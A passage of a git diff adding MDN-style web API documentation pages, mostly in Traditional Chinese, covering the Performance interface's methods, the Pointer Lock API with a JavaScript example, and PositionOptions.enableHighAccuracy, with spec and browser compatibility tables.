+ </dt>
+ <dt>{{domxref("Performance.onresourcetimingbufferfull")}}</dt>
+ <dd>An {{domxref("EventTarget")}} which is a callback that will be called when the {{event("resourcetimingbufferfull")}} event is fired.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><em>The <code>Performance</code> interface doesn't inherit any </em>methods</em>.</p>
+
+<dl>
+ <dt>{{domxref("Performance.clearMarks()")}}</dt>
+ <dd>Removes the given <em>mark</em> from the browser's performance entry buffer.</dd>
+ <dt>{{domxref("Performance.clearMeasures()")}}</dt>
+ <dd>Removes the given <em>measure</em> from the browser's performance entry buffer.</dd>
+ <dt>{{domxref("Performance.clearResourceTimings()")}}</dt>
+ <dd>Removes all {{domxref("PerformanceEntry","performance entries")}} with a {{domxref("PerformanceEntry.entryType","entryType")}} of "<code>resource</code>" from the browser's performance data buffer.</dd>
+ <dt>{{domxref("Performance.getEntries()")}}</dt>
+ <dd>Returns a list of {{domxref("PerformanceEntry")}} objects based on the given <em>filter</em>.</dd>
+ <dt>{{domxref("Performance.getEntriesByName()")}}</dt>
+ <dd>Returns a list of {{domxref("PerformanceEntry")}} objects based on the given <em>name</em> and <em>entry type</em>.</dd>
+ <dt>{{domxref("Performance.getEntriesByType()")}}</dt>
+ <dd>Returns a list of {{domxref("PerformanceEntry")}} objects of the given <em>entry type</em>.</dd>
+ <dt>{{domxref("Performance.mark()")}}</dt>
+ <dd>Creates a {{domxref("DOMHighResTimeStamp","timestamp")}} in the browser's <em>performance entry buffer</em> with the given name.</dd>
+ <dt>{{domxref("Performance.measure()")}}</dt>
+ <dd>Creates a named {{domxref("DOMHighResTimeStamp","timestamp")}} in the browser's performance entry buffer between two specified marks (known as the <em>start mark</em> and <em>end mark</em>, respectively).</dd>
+ <dt>{{domxref("Performance.now()")}}</dt>
+ <dd>Returns a {{domxref("DOMHighResTimeStamp")}} representing the number of milliseconds elapsed since a reference instant.</dd>
+ <dt>{{domxref("Performance.setResourceTimingBufferSize()")}}</dt>
+ <dd>Sets the browser's resource timing buffer size to the specified number of "<code>resource</code>" {{domxref("PerformanceEntry.entryType","type")}} {{domxref("PerformanceEntry","performance entry")}} objects.</dd>
+ <dt>{{domxref("Performance.toJSON()")}}</dt>
+ <dd>Is a jsonizer returning a json object representing the <code>Performance</code> object.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 3', '#dom-performance-timeorigin','timeOrigin')}}</td>
+   <td>{{Spec2('Highres Time Level 3')}}</td>
+   <td>Defines <code>timeOrigin</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#the-performance-interface', 'toJSON()')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Defines <code>toJson()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#the-performance-interface', 'Performance')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Defines <code>now()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>Defines <code>timing</code> and <code>navigation</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Performance Timeline Level 2', '#extensions-to-the-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('Performance Timeline Level 2')}}</td>
+   <td>Changes <code>getEntries()</code> interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Performance Timeline', '#sec-window.performance-attribute', 'Performance extensions')}}</td>
+   <td>{{Spec2('Performance Timeline')}}</td>
+   <td>Defines <code>getEntries()</code>, <code>getEntriesByType()</code> and <code>getEntriesByName()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resource Timing', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('Resource Timing')}}</td>
+   <td>Defines <code>clearResourceTimings()</code> and <code>setResourceTimingBufferSize()</code> methods and the <code>onresourcetimingbufferfull</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing Level 2', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('User Timing Level 2')}}</td>
+   <td>Clarifies <code>mark()</code>, <code>clearMark()</code>, <code>measure()</code> and <code>clearMeasure()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('User Timing')}}</td>
+   <td>Defines <code>mark()</code>, <code>clearMark()</code>, <code>measure()</code> and <code>clearMeasure()</code> methods.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Performance")}}</p>
+</div>
diff --git a/files/zh-tw/web/api/pointer_lock_api/index.html b/files/zh-tw/web/api/pointer_lock_api/index.html
new file mode 100644
index 0000000000..e37e5ceea5
--- /dev/null
+++ b/files/zh-tw/web/api/pointer_lock_api/index.html
@@ -0,0 +1,285 @@
+---
+title: Pointer Lock API
+slug: Web/API/Pointer_Lock_API
+translation_of: Web/API/Pointer_Lock_API
+---
+<p>{{ SeeCompatTable() }}</p>
+
+<p><strong>Pointer lock</strong> (之前稱為 Mouse lock) 提供「隨時間經過所產生的滑鼠位移資訊 (即 deltas)」的輸入方法，而不只是滑鼠游標的絕對位置而已。此函式可存取基本的滑鼠位移、將滑鼠事件的目標鎖定至單一元素、讓滑鼠單一方向的位移距離不再受限、將游標移除到視點之外。</p>
+
+<p>若 App 需要大量的滑鼠輸入以控制位移、旋轉物件、更改輸入項，那此 API 就特別有用。另對特別注重視覺效果的 App 尤其必要，如第一人稱視角、3D 視圖、模型建構等。</p>
+
+<p>舉例來說，你可讓消費者不需點擊任何按鈕，只要透過滑鼠即可控制視角。而按鈕可用於其他動作。對於查看地圖、衛星圖像、第一人稱場景類 (如遊戲或虛擬實境影片) 的 App 來說，這種滑鼠輸入方式特別方便易用。</p>
+
+<p>即使滑鼠游標移出瀏覽器或螢幕之外，Pointer lock 還是能讓你存取滑鼠事件。舉例來說，消費者還是可繼續移動滑鼠以旋轉或操作 3D 模型。若沒有 Pointer lock，則只要指標移出瀏覽器或螢幕之外，旋轉或操作隨即停止。遊戲玩家會特別喜歡此功能。他們現在可以隨便亂按按鈕並隨意滑動滑鼠；不再擔心滑鼠游標滑出遊戲區域而點到其他應用程式，結果退出遊戲發生慘案！</p>
+
+<h2 id="basics" name="basics">基本概念</h2>
+
+<p>Pointer lock 與 <a href="/en/DOM/element.setCapture" title="element.setCapture">mouse capture </a>相關。在拖曳滑鼠時，Mouse capture 可持續向目標元素傳遞事件，且只要放開滑鼠按鈕隨即跟著停止。Pointer lock 與 mouse capture 不同之處在於：</p>
+
+<ul>
+ <li>Pointer lock 屬持久性。除非發生顯式 (Explicit) API 呼叫，或使用者做出特定的釋放手勢，否則 Pointer lock 將不會釋放滑鼠。</li>
+ <li>Pointer lock 不侷限於螢幕或瀏覽器的範圍。</li>
+ <li>不論滑鼠按鈕狀態為何，Pointer lock 將持續送出事件。</li>
+ <li>Pointer lock 會隱藏游標。</li>
+</ul>
+
+<h2 id="example" name="example">範例</h2>
+
+<p>下列範例可讓你設定自己網頁上的 Pointer lock。</p>
+
+<pre class="brush: js">&lt;button onclick="lockPointer();"&gt;Lock it!&lt;/button&gt;
+&lt;div id="pointer-lock-element"&gt;&lt;/div&gt;
+&lt;script&gt;
+// Note: at the time of writing, only Mozilla and WebKit support Pointer Lock.
+
+// The element we'll make fullscreen and pointer locked.
+var elem;
+
+document.addEventListener("mousemove", function(e) {
+  var movementX = e.movementX       ||
+                  e.mozMovementX    ||
+                  e.webkitMovementX ||
+                  0,
+      movementY = e.movementY       ||
+                  e.mozMovementY    ||
+                  e.webkitMovementY ||
+                  0;
+
+  // Print the mouse movement delta values
+  console.log("movementX=" + movementX, "movementY=" + movementY);
+}, false);
+
+function fullscreenChange() {
+  if (document.webkitFullscreenElement === elem ||
+      document.mozFullscreenElement === elem ||
+      document.mozFullScreenElement === elem) { // Older API upper case 'S'.
+    // Element is fullscreen, now we can request pointer lock
+    elem.requestPointerLock = elem.requestPointerLock    ||
+                              elem.mozRequestPointerLock ||
+                              elem.webkitRequestPointerLock;
+    elem.requestPointerLock();
+  }
+}
+
+document.addEventListener('fullscreenchange', fullscreenChange, false);
+document.addEventListener('mozfullscreenchange', fullscreenChange, false);
+document.addEventListener('webkitfullscreenchange', fullscreenChange, false);
+
+function pointerLockChange() {
+  if (document.mozPointerLockElement === elem ||
+      document.webkitPointerLockElement === elem) {
+    console.log("Pointer Lock was successful.");
+  } else {
+    console.log("Pointer Lock was lost.");
+  }
+}
+
+document.addEventListener('pointerlockchange', pointerLockChange, false);
+document.addEventListener('mozpointerlockchange', pointerLockChange, false);
+document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
+
+function pointerLockError() {
+  console.log("Error while locking pointer.");
+}
+
+document.addEventListener('pointerlockerror', pointerLockError, false);
+document.addEventListener('mozpointerlockerror', pointerLockError, false);
+document.addEventListener('webkitpointerlockerror', pointerLockError, false);
+
+function lockPointer() {
+  elem = document.getElementById("pointer-lock-element");
+  // Start by going fullscreen with the element. Current implementations
+  // require the element to be in fullscreen before requesting pointer
+  // lock--something that will likely change in the future.
+  elem.requestFullscreen = elem.requestFullscreen    ||
+                           elem.mozRequestFullscreen ||
+                           elem.mozRequestFullScreen || // Older API upper case 'S'.
+                           elem.webkitRequestFullscreen;
+  elem.requestFullscreen();
+}
+&lt;/script&gt;
+</pre>
+
+<h2 id="method_overview" name="method_overview"><strong>函式/屬性概述</strong></h2>
+
+<p>Pointer lock API 與 Fullscreen API 類似，可添增 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element.requestPointerLock" title="The requestPointerLock allows to asynchronously ask for the pointer to be locked on the given element.">requestPointerLock</a> 新函式 (目前尚未標準化) 而擴充 DOM 元素。可為下列：</p>
+
+<pre class="brush: js">element.webkitRequestPointerLock(); // Chrome
+element.mozRequestPointerLock(); // Firefox
+element.requestPointerLock(); // Standard</pre>
+
+<p>目前在建置 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element.requestPointerLock" title="The requestPointerLock allows to asynchronously ask for the pointer to be locked on the given element.">requestPointerLock</a> 時，還是必須緊密結合 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element.requestFullScreen" title="Asynchronously requests that the element be made full-screen.">requestFullScreen</a> 與 Fullscreen API。在指標鎖定某一元素之前，必須先進入全螢幕模式。如同上方的 Demo，指標鎖定屬於非同步程序，並透過 <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers.pointerlockchange" title="/en-US/docs/Web/API/GlobalEventHandlers.pointerlockchange">pointerlockchange</a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers.pointerlockerror" title="/en-US/docs/Web/API/GlobalEventHandlers.pointerlockerror">pointerlockerror</a> 事件，指出該請求是否成功。此與 Fullscreen API 的運作方式相同 (使用其 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element.requestFullScreen" title="Asynchronously requests that the element be made full-screen.">requestFullScreen</a> 函式，另搭配 <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers.fullscreenchange" title="/en-US/docs/Web/API/GlobalEventHandlers.fullscreenchange">fullscreenchange</a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers.fullscreenerror" title="/en-US/docs/Web/API/GlobalEventHandlers.fullscreenerror">fullscreenerror</a> 事件)。</p>
+
+<p>Pointer lock API 另擴充了 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document" title="Each web page loaded in the browser has its own document object. The Document interface serves as an entry point to the web page's content (the DOM tree, including elements such as &lt;body> and &lt;table>) and provides functionality global to the document (suc">Document</a> 介面，同時添增了新的屬性與函式。如果目前有鎖定的元素，則新的屬性可存取該所訂元素，並命名為 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document.pointerLockElement" title="The pointerLockElement property provides the element set as the target for mouse events while the pointer is locked. It is null if lock is pending, pointer is unlocked, or the target is in another document.">pointerLockElement</a> (目前尚未標準化)。<a href="https://developer.mozilla.org/en-US/docs/Web/API/Document" title="Each web page loaded in the browser has its own document object. The Document interface serves as an entry point to the web page's content (the DOM tree, including elements such as &lt;body> and &lt;table>) and provides functionality global to the document (suc">Document</a> 上的新函式則為 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document.exitPointerLock" title="The exitPointerLock asynchronously releases a pointer lock previously requested through Element.requestPointerLock.">exitPointerLock</a>；顧名思義，此函式可退出 Pointer lock。</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document.pointerLockElement" title="The pointerLockElement property provides the element set as the target for mouse events while the pointer is locked. It is null if lock is pending, pointer is unlocked, or the target is in another document.">pointerLockElement</a> 屬性可確定指標目前是否鎖定了任何元素 (例如進行 Boolean 檢查)。若確實有鎖定的元素，則可取得參考。以下為此二種用法的範例：</p>
+
+<pre class="brush: js"><span class="idlInterface" id="idl-def-MouseLockable"><span class="idlInterface" id="idl-def-MouseLockable">document.pointerLockElement = document.pointerLockElement    ||
+                              document.mozPointerLockElement ||
+                              document.webkitPointerLockElement;</span></span>
+
+// 1) Used as a boolean check: are we pointer locked?
+if (!!document.pointerLockElement) {
+  // pointer is locked
+} else {
+  // pointer is not locked
+}
+
+// 2) Used to access the pointer locked element
+if (document.pointerLockElement === someElement) {
+  // someElement is currently pointer locked
+}
+</pre>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document.exitPointerLock" title="The exitPointerLock asynchronously releases a pointer lock previously requested through Element.requestPointerLock.">Document.exitPointerLock</a> 函式則用以退出 Pointer lock。且和 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element.requestPointerLock" title="The requestPointerLock allows to asynchronously ask for the pointer to be locked on the given element.">requestPointerLock</a> 一樣，<a href="https://developer.mozilla.org/en-US/docs/Web/API/Document.exitPointerLock" title="The exitPointerLock asynchronously releases a pointer lock previously requested through Element.requestPointerLock.">Document.exitPointerLock</a> 是使用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers.pointerlockchange" title="/en-US/docs/Web/API/GlobalEventHandlers.pointerlockchange">pointerlockchange</a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers.pointerlockerror" title="/en-US/docs/Web/API/GlobalEventHandlers.pointerlockerror">pointerlockerror</a> 事件，以非同步方式作業：</p>
+
+<pre class="brush: js">document.exitPointerLock = document.exitPointerLock    ||
+                           document.mozExitPointerLock ||
+                           document.webkitExitPointerLock;
+
+function pointerLockChange() {
+  document.pointerLockElement = document.pointerLockElement    ||
+                                document.mozPointerLockElement ||
+                                document.webkitPointerLockElement;
+
+  if (!!document.pointerLockElement) {
+    console.log("Still locked.");
+  } else {
+    console.log("Exited lock.");
+  }
+}
+
+document.addEventListener('pointerlockchange', pointerLockChange, false);
+document.addEventListener('mozpointerlockchange', pointerLockChange, false);
+document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
+
+// Attempt to unlock
+document.exitPointerLock();
+</pre>
+
+<h2 id="mouselocklostevent" name="mouselocklostevent">pointerlockchange 事件</h2>
+
+<p>若 Pointer lock 狀態改變，如呼叫 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element.requestPointerLock" title="The requestPointerLock allows to asynchronously ask for the pointer to be locked on the given element.">requestPointerLock</a>、<a href="https://developer.mozilla.org/en-US/docs/Web/API/Document.exitPointerLock" title="The exitPointerLock asynchronously releases a pointer lock previously requested through Element.requestPointerLock.">exitPointerLock</a>，或使用者按下 ESC 鍵等。則 <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers.pointerlockchange" title="/en-US/docs/Web/API/GlobalEventHandlers.pointerlockchange">pointerlockchange</a> 事件隨即傳送至 <code>document</code>。此簡單事件不包含額外資料。</p>
+
+<div class="note">此事件目前在 Firefox 中的前綴為 <code>mozpointerlockchange</code>；在 Chrome 中的前綴為 <code>webkitpointerlockchange</code>。</div>
+
+<h2 id="mouselocklostevent" name="mouselocklostevent">pointerlockerror 事件</h2>
+
+<p>當呼叫 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element.requestPointerLock" title="The requestPointerLock allows to asynchronously ask for the pointer to be locked on the given element.">requestPointerLock</a> 或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document.exitPointerLock" title="The exitPointerLock asynchronously releases a pointer lock previously requested through Element.requestPointerLock.">exitPointerLock</a> 而發生錯誤時，隨即傳送 <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers.pointerlockerror" title="/en-US/docs/Web/API/GlobalEventHandlers.pointerlockerror">pointerlockerror</a> 事件至 <code>document</code>。此簡單事件不包含額外資料。</p>
+
+<div class="note">此事件在 Firefox 中的前綴為 <code>mozpointerlockerror</code>；在 Chrome 中的前綴為 <code>webkitpointerlockerror</code>。</div>
+
+<h2 id="extensions" name="extensions">擴充至滑鼠事件</h2>
+
+<p>Pointer lock API 可透過位移屬性而擴充標準的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent" title="The DOM MouseEvent interface represents events that occur due to the user interacting with a pointing device (such as a mouse).">MouseEvent</a> 介面。</p>
+
+<pre class="idl"><span class="idlInterface" id="idl-def-MouseEvent">partial interface <span class="idlInterfaceID">MouseEvent</span> {
+<span class="idlAttribute">    readonly attribute <span class="idlAttrType"><a>long</a></span> <span class="idlAttrName"><a href="http://dvcs.w3.org/hg/webevents/raw-file/default/mouse-lock.html#widl-MouseEvent-movementX">movementX</a></span>;</span>
+<span class="idlAttribute">    readonly attribute <span class="idlAttrType"><a>long</a></span> <span class="idlAttrName"><a href="http://dvcs.w3.org/hg/webevents/raw-file/default/mouse-lock.html#widl-MouseEvent-movementY">movementY</a></span>;</span>
+};</span></pre>
+
+<div class="note">位移屬性目前在 Firefox 中的前綴為 <code>.mozMovementX</code> 與 <code>.mozMovementY</code>；在 Chrome 中的前綴為<code>.webkitMovementX</code> 與 <code>.webkitMovementY</code>。</div>
+
+<p>滑鼠事件的二個新參數 (即 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.movementX" title="The movementX property provides the shift in the X coordinate of the mouse pointer between that event and the previous mousemove event. In other words, the value of that property is computed that way : currentEvent.movementX = currentEvent.screenX - previ">movementX</a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.movementY" title="The movementY property provides the shift in the Y coordinate of the mouse pointer between that event and the previous mousemove event. In other words, the value of that property is computed that way : currentEvent.movementY = currentEvent.screenY - previ">movementY</a>) 將提供滑鼠位置的變化情形。此二項參數的值，等於 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent" title="The DOM MouseEvent interface represents events that occur due to the user interacting with a pointing device (such as a mouse).">MouseEvent</a> 屬性值 (即 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.screenX" title="The screenX property provides the X coordinate of the mouse pointer in global (screen) coordinates.">screenX</a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.screenY" title="The screenY property provides the Y coordinate of the mouse pointer in global (screen) coordinates.">screenY</a>) 之間的變化；而 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent" title="The DOM MouseEvent interface represents events that occur due to the user interacting with a pointing device (such as a mouse).">MouseEvent</a> 屬性另儲存於二項連續的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers.mousemove" title="/en-US/docs/Web/API/GlobalEventHandlers.mousemove">mousemove</a> 事件 (即 eNow 與 ePrevious) 之內。換句話說，Pointer lock 參數 <code>movementX = eNow.screenX - ePrevious.screenX</code>。</p>
+
+<h3 id="locked_state" name="locked_state">鎖定狀態</h3>
+
+<p>在啟動 Pointer lock 之後，標準的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent" title="The DOM MouseEvent interface represents events that occur due to the user interacting with a pointing device (such as a mouse).">MouseEvent</a> 屬性 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.clientX" title="Editorial review completed.">clientX</a>、<a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.clientY" title="The clientY property provides the Y coordinate of the mouse pointer in local (DOM content) coordinates.">clientY</a>、<a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.screenX" title="The screenX property provides the X coordinate of the mouse pointer in global (screen) coordinates.">screenX</a>、<a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.screenY" title="The screenY property provides the Y coordinate of the mouse pointer in global (screen) coordinates.">screenY</a> 均維持不變，如同滑鼠沒有移動。<a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.movementX" title="The movementX property provides the shift in the X coordinate of the mouse pointer between that event and the previous mousemove event. In other words, the value of that property is computed that way : currentEvent.movementX = currentEvent.screenX - previ">movementX</a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.movementY" title="The movementY property provides the shift in the Y coordinate of the mouse pointer between that event and the previous mousemove event. In other words, the value of that property is computed that way : currentEvent.movementY = currentEvent.screenY - previ">movementY</a> 屬性將持續提供滑鼠的位置變化。如果滑鼠朝單一方向持續移動，<a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.movementX" title="The movementX property provides the shift in the X coordinate of the mouse pointer between that event and the previous mousemove event. In other words, the value of that property is computed that way : currentEvent.movementX = currentEvent.screenX - previ">movementX</a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.movementY" title="The movementY property provides the shift in the Y coordinate of the mouse pointer between that event and the previous mousemove event. In other words, the value of that property is computed that way : currentEvent.movementY = currentEvent.screenY - previ">movementY</a> 的值也就不受限。此時「滑鼠游標」的概念不存在，游標無法移出視窗之外，也不會受限於螢幕邊界。</p>
+
+<h3 id="unlocked_state" name="unlocked_state"><strong>未鎖定狀態</strong></h3>
+
+<p>無論滑鼠的鎖定狀態為何，<a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.movementX" title="The movementX property provides the shift in the X coordinate of the mouse pointer between that event and the previous mousemove event. In other words, the value of that property is computed that way : currentEvent.movementX = currentEvent.screenX - previ">movementX</a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.movementY" title="The movementY property provides the shift in the Y coordinate of the mouse pointer between that event and the previous mousemove event. In other words, the value of that property is computed that way : currentEvent.movementY = currentEvent.screenY - previ">movementY</a> 參數均保持有效；另為了方便起見，甚至在未鎖定狀態下仍可保持有效。</p>
+
+<p>在解鎖滑鼠之後，系統游標可退出並重新進入瀏覽器視窗，且 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.movementX" title="The movementX property provides the shift in the X coordinate of the mouse pointer between that event and the previous mousemove event. In other words, the value of that property is computed that way : currentEvent.movementX = currentEvent.screenX - previ">movementX</a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent.movementY" title="The movementY property provides the shift in the Y coordinate of the mouse pointer between that event and the previous mousemove event. In other words, the value of that property is computed that way : currentEvent.movementY = currentEvent.screenY - previ">movementY</a> 此時可能設定為零。</p>
+
+<h2 id="iframe_限制">iframe 限制</h2>
+
+<p>Pointer lock 一次僅能鎖定一組 iframe。在鎖定一組 iframe 之後，就無法鎖定另一組 iframe 並轉移目標至該 iframe 之上；Pointer lock 將發生錯誤。為擺脫此限制，必須先將鎖定的 iframe 解鎖，再鎖定另一組 iframe。</p>
+
+<p>由於 iframes 是根據預設值運作，因此預設為「沙箱式 (sandboxed)」的 iframes 將阻擋 Pointer lock。為擺脫此限制，Chrome 應該很快就會推出 <code>&lt;iframe sandbox="allow-pointer-lock"&gt;</code> 的「屬性/值」整合形式。</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Pointer Lock')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>Targeting 23{{ property_prefix("webkit") }}*</p>
+
+    <p>See <a class="external" href="http://code.google.com/p/chromium/issues/detail?id=72754" title="http://code.google.com/p/chromium/issues/detail?id=72754">CR/72574</a></p>
+   </td>
+   <td>
+    <p>{{ CompatGeckoDesktop("14.0") }}</p>
+
+    <p>{{bug("633602") }}</p>
+   </td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>* 需啟動 <code>about:flags</code> 中的功能；或以 <code>--enable-pointer-lock</code> 旗標啟動 Chrome。</p>
+
+<h2 id="See_also" name="See_also">另可參閱</h2>
+
+<ul>
+ <li>{{domxref("MouseEvent")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/positionoptions/enablehighaccuracy/index.html b/files/zh-tw/web/api/positionoptions/enablehighaccuracy/index.html
new file mode 100644
index 0000000000..8437f37fe6
--- /dev/null
+++ b/files/zh-tw/web/api/positionoptions/enablehighaccuracy/index.html
@@ -0,0 +1,93 @@
+---
+title: PositionOptions.enableHighAccuracy
+slug: Web/API/PositionOptions/enableHighAccuracy
+translation_of: Web/API/PositionOptions/enableHighAccuracy
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>PositionOptions.enableHighAccuracy</strong></code> 是一個 {{domxref("Boolean")}} 的值。此值指出方法是否需要回傳最佳的結果。如果值為真且該裝置是具備提供精準位置的能力，則方法會回傳最佳結果。必須注意的是最佳結果會導致較長的回應時間或者需要更多的電力耗損 (舉例來說擁有GPS晶片的手機)。相反來說，如果值為偽，<code>機器會因為回應時間較短以及消耗較少的電力達到資源節省</code>。預設值：偽。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>positionOptions</var>.enableHighAccuracy = <var>booleanValue</var>
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#enablehighaccuracy', 'PositionOptions.enableHighAccuracy')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於{{domxref("PositionOptions")}} 。</li>
+</ul>
diff --git a/files/zh-tw/web/api/positionoptions/index.html b/files/zh-tw/web/api/positionoptions/index.html
new file mode 100644
index 0000000000..fc27485e65
--- /dev/null
+++ b/files/zh-tw/web/api/positionoptions/index.html
@@ -0,0 +1,105 @@
+---
+title: PositionOptions
+slug: Web/API/PositionOptions
+translation_of: Web/API/PositionOptions
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
